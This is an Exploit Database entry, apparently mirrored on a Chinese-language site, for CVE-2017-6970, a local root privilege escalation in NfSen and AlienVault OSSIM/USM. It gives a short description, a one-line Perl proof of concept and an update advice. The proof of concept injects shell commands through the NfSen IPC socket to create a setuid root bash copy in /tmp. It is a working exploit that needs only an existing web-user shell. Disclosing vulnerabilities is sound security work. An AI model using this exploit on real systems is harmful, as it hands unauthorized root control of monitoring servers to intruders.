NfSen < 1.3.7 / AlienVault OSSIM < 5.3.6 - Local Privilege Escalation

• Exploit Database
• 115 阅读

• 作者： Paul Taylor
  日期： 2017-07-10
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/42305/
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  # Exploit Title: Local root exploit affecting NfSen <= 1.3.7, AlienVault USM/OSSIM <= 5.3.6 # Version: NfSen 1.3.7 # Version: AlienVault 5.3.6 # Date: 2017-07-10 # Vendor Homepage: http://nfsen.sourceforge.net/ # Vendor Homepage: http://www.alienvault.com/ # Software Link: https://sourceforge.net/projects/nfsen/files/stable/nfsen-1.3.7/nfsen-1.3.7.tar.gz/download # Exploit Author: Paul Taylor / Foregenix Ltd # Website: http://www.foregenix.com/blog # Tested on: AlienVault USM 5.3.6 # CVE: CVE-2017-6970   1. Description   The web user (in AlienVault USB www-data) has access to the NfSen IPC UNIX domain socket. This can be used to send a crafted command (complete with shell metacharacter injection) to the NfSen Perl components, causing OS command injection in a root privilege context, and therefore can be leverage for privilege escalation from the web user to full root privileges.   2. Proof of Concept   Pre-requisites - web user/www-data shell (e.g. web shell, or reverse shell).   Execute the following command:   perl -e &apos;use Socket; socket(my $nfsend, AF_UNIX, SOCK_STREAM, 0); connect($nfsend, sockaddr_un("/var/nfsen/run/nfsen.comm")); print $nfsend "run-nfdump\nargs=-h \$(bash -c \"cp /bin/bash /tmp\")\n.\nrun-nfdump\nargs=-h \$(bash -c \"chmod u+s /tmp/bash\")\n.\n";&apos;   This will create a set uid root bash binary in /tmp, which can then be used to gain full root privileges.   3. Solution:   Update to latest version of NfSen/USM/OSSIM